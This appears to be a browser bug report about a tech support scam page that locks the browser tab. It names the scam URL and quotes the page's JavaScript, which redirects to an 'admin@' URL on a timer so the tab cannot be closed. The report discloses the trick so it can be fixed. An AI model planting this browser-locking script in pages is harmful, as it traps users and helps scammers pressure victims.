User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36

Steps to reproduce:

Browse to a tech support scam page: http://d2o1sv4d11x6bc.cloudfront.net/firefox/index.html

Actual results:

Browser is locked, you cannot close the browser tab or window. This is used by tech support scammers.
Here's how they do it:
<script type="text/javascript">
window.onload = function () {
setTimeout(()=>{
location.href="http://admin@"+location.host+location.pathname+location.search;
setInterval(()=>{location.href="http://admin@"+location.host+location.pathname+location.search;},1000);
},300);
}
</script>

Expected results:

User should be able to close the browser.

That's Bug 1571003, which I'm currently working on.